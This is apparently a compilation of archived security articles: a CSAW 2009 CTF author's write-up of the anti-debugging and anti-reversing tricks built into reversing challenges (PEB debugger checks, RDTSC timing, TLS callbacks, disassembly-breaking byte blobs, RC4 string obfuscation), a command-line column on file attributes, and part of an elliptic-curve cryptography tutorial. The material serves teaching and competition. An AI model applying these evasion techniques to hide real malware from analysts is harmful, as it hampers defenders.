of the 8 challenges were framed as forensics based malware challenges, each
having its own fictional “backstory”. Every challenge was distributed in
binary form and it was up to the competitor to extract tokens from the binary
by reversing or otherwise modifying execution of the executable. Each binary
employed what I hoped to be progressively more difficult anti-debugging and
anti-reversing techniques and combinations thereof. Let’s individually review
each technique before summarizing how they were combined to form each
challenge.

The Tricks and Techniques:

**Premature Exit:**

Before a critical call is made a call to ExitProcess is made. Thus normal
execution of the binary will seem to just cause the program to run and exit.
Debugging the process however will reveal that more code exists after the call
to ExitProcess.

**BeingDebugged \(custom\):**

Traditionally this technique involves having the process make a call to
IsDebuggerPresent\(\) to see if it is being debugged. This is the standard way
to do this using the Microsoft APIs. However many anti-anti-debugging patches
for debuggers such as OllyDBG have modules that will intercept this call by
setting a breakpoint on it down in kernel32.dll. So instead of using the
Microsoft API I wrote some inline assembly that pulled this boolean value
directly out of PEB. This way, the only way to catch that “Being Debugged” was
being checked was to set a Break-on-Access in PEB itself, something I don’t
think any of the common debugger plugins do. My hope was that this would make
the process a bit more manual for the competitors.

**String Obfuscation:**

Many strings that get statically compiled into binaries sit in the BSS section
of the executable. You can use canned tools like unix “strings”, IDA, or even
simple shell scripts to pull this stuff out. Even simple string obfuscation
like XOR is easily spottable in disassembly. So what I wanted to do was to
write a string obfuscater that would “raise the bar” high enough that
reversing the scheme itself would be more difficult than doing the challenge
itself, so I settled on some simple encryption. To achieve this I was
originally going to use RC4 and execute it as a shellcode buffer, so I wrote
RC4 in NASM.

The reason I chose to do this as shellcode originally is because I thought it
would be easier to polymorph the algorithm as shellcode than it was to
polymorph it as compiled C code. I eventually found out a way to achieve this
with C code \(as you will read below\) and abandoned the shellcode idea.
Instead I wrote \(\*ahem\* stole\) an RC4 implementation written in C that I
vainly called sa7ori-encode. I generously borrowed from the infamous
cipherpunks mailinglist ARC4 leak to write this code. With the crypto scheme
implemented, the challenge then became how to make the algorithm look
“different each time”. For this I used a combination of Inlining, Call
Obfuscation, “Polymorphic” C Code Blobs, and “Here Strings” \(all described a
bit more below\).

**Inlining:**

Inlining \(for those of you who are un-familar\) is a way for a C developer to
specify \(using the compiler directive \_\_forceinline\) that when a function
is called that execution is not redirected into it using the traditional
“call” instruction.<img src='img/Temp2_5259.png' /> Instead, with inlining
wherever a function would normally have been called, the full body of code for
that function is “pasted” into the place where it is referenced. This is
extremely inefficient because it makes binaries MUCH larger but for that
reason it also makes reversing a bit more painful.

**Timing Tricks:**

I had always heard about these timing tricks but the most interesting use of
them was inKostya Kortchinsky and Fabrice Desclaux’s EXCELLENT presentation
entitled Vanilla Skypewhere they discussed some of the anti-debugging tricks
they encountered while completely reverse engineering Skype. \(This, by the
way, among my favorite presentations of all time.\) The idea is simple, x86
CPUs since the Pentium support an instruction called RDTSC which reads a time
value from a timer that started inside the CPU when it was powered on. This
can be used as a “stopwatch” to measure the time delta between bits of code.

This is particularly useful if you want to detect if there is a debugger
attached. By starting the proverbial “stopwatch”, then throwing an exception
that only a debugger can handle, and then checking the “stopwatch” after the
exception is handled, a program can essentially time how long the debugger
\(and thusly the human operating the debugger\) took to handle the exception.
By setting the threshold for this time impossibly low for a human to react to
you can effectively detect if there is a “man in the loop”. The RDTSC
instruction is wrapped by the Microsoft API function “GetTickCount\(\)”.

**Self-Caught Exceptions \(to cause code branching\):**

This technique involves using registered exception handlers to redirect
execution in your application. Instead of just calling a function by name, you
register the function you wish to call as an exception handler, and then
trigger an exception. If a debugger is attached, it catches the exception
before the exception handler \(which is actually a function critical to the
normal operation of the program\) executes and thus the program does not
continue properly when the debugger has handled the exception and resumed
execution.

**Debugger Required Exceptions:**

This simple technique caused an exception \(division by zero, “call 0”, etc.\)
that required the reverser to have his debugger attached so he could jump over
or NOP out the exception. This is effectively like the premature exit. In the
VM supplied to the competitors \(which had remote Kernel debugging enabled\)
this had the unintended consequence of freezing the entire VM if they didn’t
have a debugger attached ;-\).

**Call Obfuscation \(AntiDisassembly, kinda\):**

To obscure the area around a function call I decided to use a combination of
inline assembly and a property of C include files. C include files \(.h\)
files essentially just “paste” in the code from the .h wherever it is
referenced in the C code. In this case I put inline assembly in the .h.

<img src='img/Temp2_5254.png' />

The inline assembly uses the \_emit macro to build a large blob of seemingly
random bytes that could not be disassembled properly. Using the
\_\_COUNTER\_\_ Visual Studio Macro. Stephen Lawler gave me the idea for this
trick, unfortunately it can only be used once per function. You can see an
example of how I implemented it here. This code was further modified to make
it “polymorphic” which is discussed below.

**Polymorphic C code \(kinda….well, ok not really :-\):**

My CS vernacular stinks, so I couldn’t really think of a way to describe what
I was doing here. To replace my idea to use polymorphic shellcode as the
string obfuscater I instead found \(what I think to be\) a neat way to do this
in C. The main use for this was to make the blob generated by the “Call
Obfuscation” trick \(see above\) pseudo-random and thus a little more
difficult to “eyeball” in disassembly. Visual Studio has a very useful feature
that allows you to create variables at compile-time with the /D compile option
for cl.exe. This will create a variable with a value specified \(at compile
time\) that is then accessible from within code. For example, take the line of
C code:

\#define MYCTR \(\_\_COUNTER\_ \_ + MYOFFSET\)

The variable MYOFFSET is not defined anywhere within the source code. Instead
it is actually defined at compile time with this:

cl /nologo /Ob2 /Z7 /DMYOFFSET=251 6.cpp /c

I then modified the “Call Obfuscation” code \(from the previous section\) to
use this trick. This made the anti-disassembling blob “polymorphic” between
compiles as long as the seed value for “MYOFFSET” was modified accordingly.

<img src='img/Temp2_5249.png' />Annotated visual of polymorphs between
compiles

In the end it came out something like this which could be used in the code
like so: \#include “evil.h” to screw up disassembly of the compiled code. An
annotated visual screenshot of thisprocess is here.

**TLS Execution:**

I learned about this Thread Local Storage \(TLS\) execution trick some years
ago in one of Ilfak’s blogposts. It is a way \(on Windows\) to have a piece of
your code execute before the main part of your executable \(the entry point\)
is jumped into. The impact of this is that the code will even execute before a
debugger can attach to it even if it starts the target program\! Combined with
anti-debugging tricks this can be really useful. It requires using an awesome
custom linker though.

**Use of “Here Strings”:**

My name for these probably sucks, but once again language fails me and I don’t
know the correct term for this \(if they even have one\). In languages like
Ruby or Python they are called “here strings” or “doc strings”. However, in
languages like C even static strings get squirreled away in the BSS and then a
pointer to them is used in the code. What I wanted was a way to reference a
string buffer DIRECTLY where it was or as a really small relative offset. The
reason I wanted this was to change the way the call into the string
obfuscation functions looked, and to confuse disassembly. To achieve this I
used a combination of inline assembly and \_emit bytes. I wrote a small python
script to take a string as input.It would generate a random key for my
encryption scheme and then generate the ciphertext \(based on the plaintext
input and the generated key\).

<img src='img/Temp2_5253.png' />

It would then generate a bit of inline assembly that represented the string as
inline asm \_emit bytes that exposed pointers to these buffers in the ebx and
eax registers respectively. I could then just cut and paste the output of this
Python script into my C code and use the “strings” by referencing pointer
variables that referenced labels in the inline assembly. Instead of defining
my ciphertext and key buffers like this \(as I would normally in C\):

<img src='img/Temp2_5256.png' />

I could access them as inline assembly “here strings” like this:

<img src='img/Temp2_5250.png' />

If you dont get what I mean, sample output of this Python script is here.

The Challenges:

Now that you have an understanding of the collection of anti-debugging and
anti-reversing tricks I was pulling from, let’s take a look at how I combined
and mixed them together to create different reversing challenges. The
challenges themselves I thought were pretty neat.

Challenge \#1: “JumpIt”

The backstory for for this challenge you can read here. \(In fact, each
challenge name in this post will link directly to the backstory if you want to
read them.\) The first of these challenges was intended to be fairly simple.
The “key” for the challenge was just a static string that was popped up in a
User32 MessageBox\(\). The trick was that the reverser had to jump over a call
to ExitProcess to get the popup. Simple stuff. A guy named LordParody made a
video tutorial of it even.

Tricks Employed: Premature Exit

Challenge \#2: “BeingDebugged”

This executable checks to see if it is being debugged before and after it
causes itself to crash. If the reverser subverts it, the flag is displayed to
them.

Tricks Employed: String Obfuscation, Being Debugged \(custom\), Debugger
Required Exceptions, Inlining

Challenge \#3: “Hey I know you\!”

When it starts, this executable checks to see if a process of a specific name
is running, if it isn’t it exits. The reverser must find the name and start a
process of this name to be displayed the key. One think you might find
interesting about this one is that I did not use EnumProcesses\(\) instead I
parse structures directly from ZwQuerySystemInformation. I borrowed this from
TheMina. This was a good exercise.

Tricks Employed: String Obfuscation, Here Strings

Challenge \#4: “Hey I know you too\!”

This is the same as Challenge \#3 except with some more tricks thrown in and
different keys.

Tricks Employed: String Obfuscation, Inlining, Being Debugged \(custom\), Here
Strings, Polymorphic C Code, Call Obfuscation

Challenge \#5: “Are You My Mama?”

This is a DLL that exports several functions. These exports are irrelevant
because the DLL \(upon being loaded\) checks to see if the process loading it
matches a name it expects, if not, it kills the process entirely. Reversers
must satisfy or subvert this check to get the flag.

Tricks Employed: String Obfuscation, Here Strings, Inlining, Polymorphic C
Code, Call Obfuscation

Challenge \#6: “Timing Matters”

This executable checks if it is being debugged before and after it rides a
sled of software breakpoints. The reverser must satisfy or subvert these
checks to get the flag.

Tricks Employed: String Obfuscation, Being Debugged \(custom\), Timing Tricks,
Here Strings, Inlining, Polymorphic C Code, Call Obfuscation

Challenge \#7: “Spin Lock”

A DLL contains 5 exported functions \(each called “tumblers”\). Each function
takes a character buffer as input and outputs an obfuscated version of the
same buffer.

<img src='img/Temp2_5255.png' />Exported DLL functions

These “tumblers” must be strung together to decrypt the contents of a packet
capture file \(which contain the flag\). Additionally \(like Challenge \#5\)
this DLL will not be loaded by just any executable, it needs to be loaded by
an executable of a specific name\!

Tricks Employed: Inlining, Polymorphic C Code, Call Obfuscation, challenge
specific string obfuscation

Challenge \#8: “You have bad BHO\!”

This was a Browser Helper Object. For those unfamiliar with these, it is
another term for “Internet Explorer Plugin“.This particular one was intended
to simulate the basic functionality of a banking trojan, watching which sites
you surfed to.

<img src='img/Temp2_5247.png' />The Browser Helper Object is watching…

To unlock the flag you needed to reverse it to find out which site it wanted
you to surf to\!

Tricks Employed: String Obfuscation, challenge specific string obfuscation

The Final Challenge: “The Fin”

<img src='img/Temp2_5258.png' />loading the driverThis final challenge
\(unbeknownst to the competitors until the day of the competition\) was a
Windows Kernel Driver. The kernel driver \(installed on XP SP2 machine\)
needed to be reversed to locate the IOCTLs it was listening for. Even a few of
the IOCTLs it was listening for resulted in some taunting messages \(like
custom blue screens of death\). Since this challenge as given on-site at
NYU:Poly it was evaluated qualitatively.

<img src='img/Temp2_5257.png' />Solution.

Some kernel reversing materials were provided that demonstrated all the
techniques needed. Additionally, during the course of the challenges
incremental hints were given.

Tricks Employed: String Obfuscation, Here Strings, Call Obfuscation, Inlining,
Polymorphic C Code

The Outcome:

Many of the teams solved many of the first 8 qualifying challenges.
Unfortunately, no one was able to solve the Final Challenge entirely. The
listing of all the final rankings are here. A number of teams were able to
obtain some points for explaining their process and providing some cursory
information they obtained while reversing. Alex Radocea \(of RPI\) eventually
solved it a month or so later and messaged me online ;-\).

The competition was closed out with a big awards ceremony. \(If you chose to
watch the video below, the “Application Security” awards begin at 15:25\).

CSAW 2009 - Awards Ceremony from NYU-Poly on Vimeo.

There are also photo galleries of the awards ceremony here.

We at Matasano are particularly proud of the team RPISEC
\(http://rpisec.net/\) who ranked 2nd place behind the Carnegie Mellon Team.
The RPISEC team had \(Alexandru Radocea, Ryan Govostes, and Adam Comella\) who
are all Matasano interns. \(Inquire about the Matasano internship program by
emailing careers@matasano.com\)

Conclusions:

In conclusion, the whole experience of building these challenge for CSAW was a
good one. In hindsight, I wish I had done a better job on making the
difficulty progression a bit more even. In other words, I don’t think I mixed
and matched the different “Tips and Techniques” \(summarized earlier\) well
enough to achieve an good gradient of difficulty. For example, I spent so much
time on writing the string obfuscator/encryptor but I forgot to use it in one
or two places that could have really benefitted from it, such as the
executable names in Challenge \#3. Likewise, I spent a lot of time building
the “polymorphic call obfuscator” and did not use it in some of the earlier
challenges like Challenge \#2. Another huge oversight on my behalf was not
obscuring the call to MessageBoxA well. I could’ve used my call obfuscator or
made an indirect call, but I simply forgot to add this. A few people
recognized this pattern and just jumped to the MessageBoxA call. :-\( I guess
these are all things you can only learn in retrospect.

Nonetheless, a lesson well learned, all of which I can take into my experience
for CSAW-CTF 2010. Feel free to try your hand at any of these challenges. The
binaries are posted in github. Everything you need is in there along with the
source \(which the contestants obviously didn’t have so ignore it if you are
doing the challenges ;-\). Just download onto a Windows XP SP2 machine. Drop
me a line to let me know what you think, or if you needs help. Thanks for
reading.

  

# Command Line Kung Fu: Episode \#60: Proper Attribution

**Created:**| _11/24/2009 7:24:43 PM_  
---|---  
**Updated:**| _11/24/2009 7:24:49 PM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#60: Proper Attribution

Hal starts off:  
  
Back in Episode \#54 we got a chance to look at the normal permissions and
ownerships in the Unix file system. But we didn't have room to talk about
extended file attributes, and that's a shame. So I thought I'd jot down a few
quick pointers on this subject.  
  
The Linux ext file systems support a variety of additional file attributes
over and above the standard read/write/execute permissions on the file.
Probably the most well-known attribute is the "immutable" bit that makes a
file impossible to delete or modify:  
  

[code]

    # **touch myfile**  
     # **chattr +i myfile**  
     # **lsattr myfile**  
     ----i-------------- myfile  
    # **touch myfile**  
     touch: cannot touch `myfile': Permission denied  
    # **rm myfile**  
     rm: cannot remove `myfile': Operation not permitted  
    # **ln myfile foo**  
     ln: creating hard link `foo' => `myfile': Operation not permitted  
    # **chattr -i myfile**  
     # **rm myfile**
    
[/code]

As you can see in the above example, you use the chattr command to set and
unset extended attributes on a file, and lsattr to list the attributes that
are currently set. Once you set immutable on a file \(and you must be root to
do this\), you cannot modify, remove, or even make a hard link to the
immutable file. Once root unsets the immutable bit, the file can be modified
or removed as normal. It's not uncommon to see rootkit installation scripts
setting the immutable bit on the trojan binaries they install, just to make
them more difficult for novice system administrators to remove.  
  
But there are many other extended attributes that you can set on a file. For
example, the append-only \("a"\) attribute means that you can add data to a
file but not remove data that's already been written to the file. The
synchronous updates attribute \("S"\) means that data that's written to the
file should be flushed to disk immediately rather than being buffered for
efficiency-- it's like mounting a file system with the "sync" option, but you
can apply it to individual files. There's also a dir sync attribute \("D"\)
that does the same thing for directories, though it's really unclear to me why
this is a separate attribute from "S". The data journalling attribute \("j"\)
is equivalent to the behavior of mounting your ext3 file systems with the
"data=journal" option, but can be applied to individual files.  
  
As you can see in the output of lsattr in the example, however, there are lots
of other possible extended attribute fields. Many of these apply to
functionality that's not currently implemented in the mainstream Linux
kernels, like "c" for compressed files, "u" for "undeletable" files \(meaning
the file contents are saved when the file is deleted so you can "undo"
deletes\), "s" for secure delete \(overwrite the data blocks with zero before
deallocating them\), and "t" for tail-merging the final fragments of files to
save disk space. Then there are attributes like the "no dump" attribute
\("d"\) which means the file shouldn't be backed up when you use the dump
command to back up your file systems: "d" isn't that useful because hardly
anybody uses the dump command anymore. There are also a bunch of attributes
\(E, H, I, X, Z\) which can be seen with lsattr but not set with chattr.  
  
So in general, "i" is useful for files you want to be careful not to delete,
and "a" and possibly "S" are useful for important log files, but a lot of the
other extended attributes are currently waiting for further developments in
the Linux kernel. Now let's see what Ed's got going for himself in Windows
land \(and look for an update from a loyal reader after Ed's Windows
madness\).  
  
Ed finishes it up:  
  
In Windows, the file and directory attributes we can play with include Hidden
\(H\), System \(S\), Read-only \(R\), and Archive \(A\). H, S, and R are
pretty straightforward, and function as their name implies. The Archive
attribute is used to mark files that have changed since the last backup \(the
xcopy and robocopy commands both have a /a option to make them copy only files
with the Archive attribute set\).  
  
You can see which of these attributes are set for files within a given
directory using the well-named attrib command. The closest thing we have to
the Linux immutable attribute used by Hal above is the Read-Only attribute, so
let's start by focusing on that one, mimicking what Hal does \(always a
dangerous plan\).  
  

[code]

    C:\> type nul >> myfile
    
[/code]

  
Note that we don't have a "touch" command on Windows, so I'm simply appending
the contents of the nul file handle \(which contains nothing\) into myfile.
That'll create the file if it doesn't exist, kinda like touch. However, it
will not alter the last modified or accessed time, unlike touch. Still, it'll
work for what we want to do here.  
  

[code]

    C:\> attrib +r myfile  
    C:\> attrib myfile  
    A    R     C:\tmp\myfile
    
[/code]

  
Here, we've set the read-only attribute on myfile using the +r option, and
then listed its attributes. Note that it had the Archive attribute set by
default. We could specify a whole list of attributes to add or subtract in a
single attrib command, such as +s -a +h and so on. Note that you cannot add
and remove the same attribute \(e.g., +r -r is forbidden\).  
  
Now, let's try to see how this attribute is similar to what Hal showed earlier
for the immutable stuff:  
  

[code]

    C:\> type nul >> myfile  
    Access is denied.  
      
    C:\> del myfile  
    C:\tmp\myfile  
    Access is denied.  
      
    C:\> attrib -r myfile  
      
    C:\> del myfile
    
[/code]

  
To remove all attributes, you could run:  
  

[code]

    C:\> attrib -h -s -r -a [filename]
    
[/code]

  
Beyond attrib, we can also use the dir command to list files with certain
attributes, using the /a option. For example, to list all hidden files, we
could run:  
  

[code]

    C:\> dir /b /ah  
    boot.ini  
    Config.Msi  
    IO.SYS  
    MSDOS.SYS  
    NTDETECT.COM  
    ntldr  
    pagefile.sys  
    RECYCLER  
    System Volume Information
    
[/code]

  
I used the /b option here to display the bare form of output so that I omit
some clutter.  
  
If you want to see non-hidden files, you could run:  
  

[code]

    C:\> dir /a-h
    
[/code]

  
You can bundle multiple attributes together as well in dir using a slightly
different syntax from the attrib command. With dir, you just smush together
all the attributes you want to see, and indicate the ones you don't want with
a minus sign in front of them. For example, if you want to see read-only files
that are not hidden but that are also system files, you could run:  
  

[code]

    C:\> dir /ar-hs
    
[/code]

  
A lot of people get thrown off by the fact that, by default, the dir command
omits hidden and system files from its output. Consider:  
  

[code]

    C:\> type nul > myfile  
    C:\> type nul > myfile2  
    C:\> type nul > myfile3  
    C:\> attrib +h myfile  
    C:\> attrib +s myfile2  
    C:\> attrib +r myfile3  
      
    C:\> attrib  
    A   H      C:\tmp\myfile  
    A  S       C:\tmp\myfile2  
    A    R     C:\tmp\myfile3  
      
    C:\> dir /b  
    myfile3
    
[/code]

  
This issue comes up rather often when playing the Capture the Flag game in my
SANS 560 class on network penetration testing. Attendees need to grab GnuPG
keys from target accounts, with the keys acting as the flags in the game.
Rather often, folks get command shell on a target box, change into the
appropriate directory for the GnuPG keys, and run the dir command. They see...
NOTHING. Inevitably, a hand goes up and I hear "Someone deleted the keys\!". I
respond, "You know, GnuPG keys have the hidden attribute set...." The hand
goes down, and the happy attendee snags the keys.  
  
You see, the dir command with the /a option lets us specify a set of
attributes we want or don't want. If you want to see all files regardless of
their attributes, use dir with the /a option, but don't include any specific
attributes in your list after the /a. That way, you'll see everything:  
  

[code]

    C:\> dir /b /a  
    myfile  
    myfile2  
    myfile3
    
[/code]

  
With this functionality, some people think of the /a option of dir as meaning
"all" or "anything", but it really is more accurate to think of it as
"attributes" followed a blank list of attributes. In my own head, when I type
"dir /a", I think of it as "Show me a directory listing with attributes of
anything."  
  
There's one last thing about attributes I'd like to cover. It's really
annoying that the Windows file explorer doesn't show system files by default.
This is a travesty. Darnit, I need to see those files, and hiding them from me
is just plain annoying. I can accept hiding hidden files, because, well, they
are hidden. But system files? Who thought of that? It makes Windows into its
own rootkit as far as I'm concerned. Because of this, one of the first things
I do with any Windows box I plan on using for a while is to tweak this
setting. You can change it in the Explorer GUI itself by going to
Tools-->Folder Options-->View. Then, deselect "Hide protected operating system
files \(Recommended\)". Recommended? I guess Microsoft is trying to protect
its operating system files from clueless users. Still, this is just plain
annoying. Oh, and while you are there, you may as well deselect "Hide
extensions for known file types", which is yet another rootkit-like feature
that confounds some users when they are looking for files with specific
extensions. And, finally, you may want to just go whole hog \(is that
kosher?\) and select "Show hidden files and folders." There, now you have a
Windows machine that is almost usable\!  
  
  
Hal's got an update from a loyal reader:  
  
The fact that anybody with root privileges can undo your file attribute
settings, makes "chattr +i" somewhat less useful from an absolute security
perspective. Loyal reader Joshua Gimer took me to school regarding the Linux
kernel capability bounding feature:  
  

> If you wanted to make a file immutable so that not even root could modify it
> you could perform the following after making your attribute changes:  
>  
>
[code]

>     lcap CAP_LINUX_IMMUTABLE
>  
[/code]

>  
>  
> This setting could be changed back by anyone that has super-user privileges
> running the same command again. You could make it so that the kernel
> capability bounding set cannot be modified \(not even by root\) by issuing
> the following:  
>  
>
[code]

>     lcap CAP_SYS_RAWIO  
>     > lcap CAP_SYS_MODULE
>  
[/code]

>  
>  
> This would require a system reboot to reintroduce these capabilities. You
> could then add these commands to /etc/rc.local, if you wanted them to
> persist through a reboot.
  
  
If you're interested in messing around with the lcap program, you can find the
source code at  
http://caspian.dotconf.net/menu/Software/Misc/lcap-0.0.6.tar.bz2  
  
I had actually not been aware of this functionality before Joshua's message,
so I went off and did a little research on my own. Turns out there's been a
major change to this functionality as of Linux kernel 2.6.25. The upshot is
that the global /proc/sys/kernel/cap-bound interface that the lcap program
uses has been removed and kernel capabilities are now set on a per-thread
basis. However, you can set capability bounding sets on executables in the
file system. So if you want to globally remove a capability, the suggested
method appears to be to set a capability bound on the init executable \(using
the setcap command\) and have that be inherited by every other process on the
system when you next reboot the machine. I have personally not tried this
myself.  
  
More info in the capabilities\(7\) manual page:
http://manpages.ubuntu.com/manpages/jaunty/man7/capabilities.7.html

# Elliptic Curve Cryptography: ECDH and ECDSA | Andrea Corbellini
**Created:**| _6/3/2015 11:51:35 AM_  
---|---  
**Updated:**| _6/3/2015 11:51:35 AM_  
**Author:**| __  
**Tags:**| _crypto math_  
  

# Andrea Corbellini

**This post is the third in the seriesECC: a gentle introduction.**

In the previous posts, we have seen what an elliptic curve is and we have
defined a group law in order to do some math with the points of elliptic
curves. Then we have restricted elliptic curves to finite fields of integers
modulo a prime. With this restriction, we have seen that the points of
elliptic curves generate cyclic subgrups and we have introduced the terms base
point, order and cofactor.

Finally, we have seen that scalar multiplication in finite fields is an “easy”
problem, while the discrete logarithm problem seems to be “hard”. Now we’ll
see how all of this applies to cryptography.

# Domain parameters

Our elliptic curve algorithms will work in a cyclic subgroup of an elliptic
curve over a finite field. Therefore, our algorithms will need the following
parameters:

  * The **prime _p_** that specifies the size of the finite field. 
  * The **coefficients _a_ and _b_** of the elliptic curve equation.
  * The **base point _G_** that generates our subgroup.
  * The **order _n_** of the subgrouop.
  * The **cofactor _h_** of the subgroup.

In conclusion, the **domain parameters** for our algorithms are the **sextuple
\(_p_ , _a_ , _b_ , _G_ , _n_ , _h_\)**.

## Random curves

When I said that the discrete logarithm problem was “hard”, I wasn’t entirely
right. There are **some classes of elliptic curves that are particularly
weak** and allow the use of special purpose algorithms to solve the discrete
logarithm problem efficiently. For example, all the curves that have _p_ =
_hn_ \(that is, the order of the finite field is equal to the order of the
elliptic curve\) are vulnerable to Smart’s attack, which can be used to solve
discrete logarithms in polynomial time on a classical computer.

Now, suppose that I give you the domain parameters of a curve. There’s the
possibility that I’ve discovered a new class of weak curves that nobody knows,
and probably I have built a “fast” algorithm for computing discrete logarithms
on the curve I gave you. How can I convince you of the contrary, i.e. that I’m
not aware of any vulnerability? **How can I assure you that the curve is
“safe” \(in the sense that it can’t be used for special purpose attacks by
me\)?**

In an attempt to solve this kind of problem, sometimes we have an additional
domain parameter: the **seed _S_**. This is a random number used to generate
the coefficients _a_ and _b_ , or the base point _G_ , or both. These
parameters are generated by computing the hash of the seed _S_. Hashes, as we
know, are “easy” to compute, but “hard” to reverse.

<img src='img/Temp2_2680.png' width='500' height='74' alt='Random curve
generation' /> A simple sketch of how a random curve is generated from a seed:
the hash of a random number is used to calculate different parameters of the
curve.

<img src='img/Temp2_2683.png' alt='Building a seed from a hash' />

If we wanted to cheat and try to construct a seed from the domain parameters,
we would have to solve a “hard” problem: hash inversion.

A curve generated through a seed is said to be **verifiably random**. The
principle of using hashes to generate parameters is known as “nothing up my
sleeve“, and is commonly used in cryptography.

This trick should give some sort of assurance that **the curve has not been
specially crafted to expose vulnerabilities known to the author**. In fact, if
I give you a curve together with a seed, it means I was not free to
arbitrarily choose the parameters _a_ and _b_ , and you should be relatively
sure that the curve cannot be used for special purpose attacks by me. The
reason why I say “relatively” will be explained in the next post.

A standardized algorithm for generating and checking random curves is
described in ANSI X9.62 and is based on SHA-1. If you are curious, you can
read the algorithms for generating verifiable random curves on a specification
by SECG \(look for “Verifiably Random Curves and Base Point Generators”\).

I’ve created a **tiny Python script that verifies all the random curves
currently shipped with OpenSSL**. I strongly recommend you to check it out\!

# Elliptic Curve Cryptography

It took us a long time, but finally here we are\! Therefore, pure and simple:

  1. The **private key** is a random integer _d_ chosen from \{1, …, _n_ – 1\} \(where _n_ is the order of the subgroup\).
  2. The **public key** is the point _H_ = _dG_ \(where _G_ is the base point of the subgroup\).

You see? If we know _d_ and _G_ \(along with the other domain parameters\),
finding _H_ is “easy”. But if we know _H_ and _G_ , **finding the private key
_d_ is “hard”, because it requires us to solve the discrete logarithm
problem**.

Now we are going to describe two public-key algorithms based on that: ECDH
\(Elliptic curve Diffie-Hellman\), which is used for encryption, and ECDSA
\(Elliptic Curve Digital Signature Algorithm\), used for digital signing.

## Encryption with ECDH

ECDH is a variant of the Diffie-Hellman algorithm for elliptic curves. It is
actually a key-agreement protocol, more than an encryption algorithm. This
basically means that ECDH defines \(to some extent\) how keys should be
generated and exchanged between parties. How to actually encrypt data using
such keys is up to us.

The problem it solves is the following: two parties \(the usual Alice and
Bob\) want to exchange information securely, so that a third party \(the Man
In the Middle\) may intercept them, but may not decode them. This is one of
the principles behind TLS, just to give you an example.

Here’s how it works:

  1. First, **Alice and Bob generate their own private and public keys**. We have the private key _d A_ and the public key _H A_ = _d AG_ for Alice, and the keys _d B_ and _H B_ = _d BG_ for Bob. Note that both Alice and Bob are using the same domain parameters: the same base point _G_ on the same elliptic curve on the same finite field.
  2. **Alice and Bob exchange their public keys _H A_ and _H B_ over an insecure channel**. The Man In the Middle would intercept _H A_ and _H B_, but won’t be able to find out neither _d A_ nor _d B_ without solving the discrete logarithm problem.
  3. **Alice calculates _S_ = _d AHB_** \(using her own private key and Bob’s public key\), **and Bob calculates _S_ = _d BHA_** \(using his own private key and Alice’s public key\). Note that _S_ is the same for both Alice and Bob, in fact:

<img src='img/Temp2_2685.png' alt='S = d_A H_B = d_A (d_B G) = d_B (d_A G) =
d_B H_A ' />

The Man In the Middle, however, only knows _H A_ and _H B_ \(together with the
other domain parameters\) and would not be able to find out the **shared
secret _S_**. This is known as the Diffie-Hellman problem, which can be stated
as follows:

> Given three points _P_ , _aP_ and _bP_ , what is the result of _abP_?
Or, equivalently:

> Given three integers _k_ , _k x_ and _k y_, what is the result of _k xy_?
\(The latter form is used in the original Diffie-Hellman algorithm, based on
modular arithmetic.\)

<img src='img/Temp2_2686.png' alt='ECDH' />

The Diffie-Hellman key exchange: Alice and Bob can “easily” calculate the
shared secret, the Man in the Middle has to solve a “hard” problem.

The principle behind the Diffie-Hellman problem is also explained in a great
YouTube video by Khan Academy, which later explains the Diffie-Hellman
algorithm applied to modular arithmetic \(not to elliptic curves\).

The Diffie-Hellman problem for elliptic curves is assumed to be a “hard”
problem. It is believed to be as “hard” as the discrete logarithm problem,
although no mathematical proofs are available. What we can tell for sure is
that it can’t be “harder”, because solving the logarithm problem is a way of
solving the Diffie-Hellman problem.

**Now that Alice and Bob have obtained the shared secret, they can exchange
data with symmetric encryption.**

For example, they can use the _x_ coordinate of _S_ as the key to encrypt
messages using secure ciphers like AES or 3DES. This is more or less what TLS
does, the difference is that TLS concatenates the _x_ coordinate with other
numbers relative to the connection and then computes a hash of the resulting
byte string.

### Playing with ECDH

I’ve created **another Python script for computing public/private keys and
shared secrets over an elliptic curve**.

Unlike all the examples we have seen till now, this script makes use of a
standardized curve, rather than a simple curve on a small field. The curve
I’ve chosen is `secp256k1`, from SECG \(the “Standards for Efficient
Cryptography Group”, founded by Certicom\). This same curve is also used by
Bitcoin for digital signatures. Here are the domain parameters:

  * _p_ = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f
  *  _a_ = 0
  *  _b_ = 7
  *  _x G_ = 0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798
  *  _y G_ = 0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8
  *  _n_ = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
  *  _h_ = 1

\(These numbers were taken from OpenSSL source code.\)

Of course, you are free to modify the script to use other curves and domain
parameters, just be sure to use prime fields and curves Weierstrass normal
form, otherwise the script won’t work.

The script is really simple and includes some of the algorithms we have
described so far: point addition, double and add, ECDH. I recommend you to
read and run it. It will produce an output like this:

[code]

    Curve: secp256k1
    Alice's private key: 0xe32868331fa8ef0138de0de85478346aec5e3912b6029ae71691c384237a3eeb
    Alice's public key: (0x86b1aa5120f079594348c67647679e7ac4c365b2c01330db782b0ba611c1d677, 0x5f4376a23eed633657a90f385ba21068ed7e29859a7fab09e953cc5b3e89beba)
    Bob's private key: 0xcef147652aa90162e1fff9cf07f2605ea05529ca215a04350a98ecc24aa34342
    Bob's public key: (0x4034127647bb7fdab7f1526c7d10be8b28174e2bba35b06ffd8a26fc2c20134a, 0x9e773199edc1ea792b150270ea3317689286c9fe239dd5b9c5cfd9e81b4b632)
    Shared secret: (0x3e2ffbc3aa8a2836c1689e55cd169ba638b58a3a18803fcf7de153525b28c3cd, 0x43ca148c92af58ebdb525542488a4fe6397809200fe8c61b41a105449507083)
    
[/code]

### Ephemeral ECDH

Some of you may have heard of ECDHE instead of ECDH. The “E” in ECHDE stands
for “Ephemeral” and refers to the fact that the **keys exchanged are
temporary** , rather than static.

ECDHE is used, for example, in TLS, where both the client and the server
generate their public-private key pair on the fly, when the connection is
established. The keys are then signed with the TLS certificate \(for
authentication\) and exchanged between the parties.

## Signing with ECDSA

The scenario is the following: **Alice wants to sign a message with her
private key** \(_d A_\), and **Bob wants to validate the signature using
Alice’s public key** \(_H A_\). Nobody but Alice should be able to produce
valid signatures. Everyone should be able to check signatures.

Again, Alice and Bob are using the same domain parameters. The algorithm we
are going to see is ECDSA, a variant of the Digital Signature Algorithm
applied to elliptic curves.

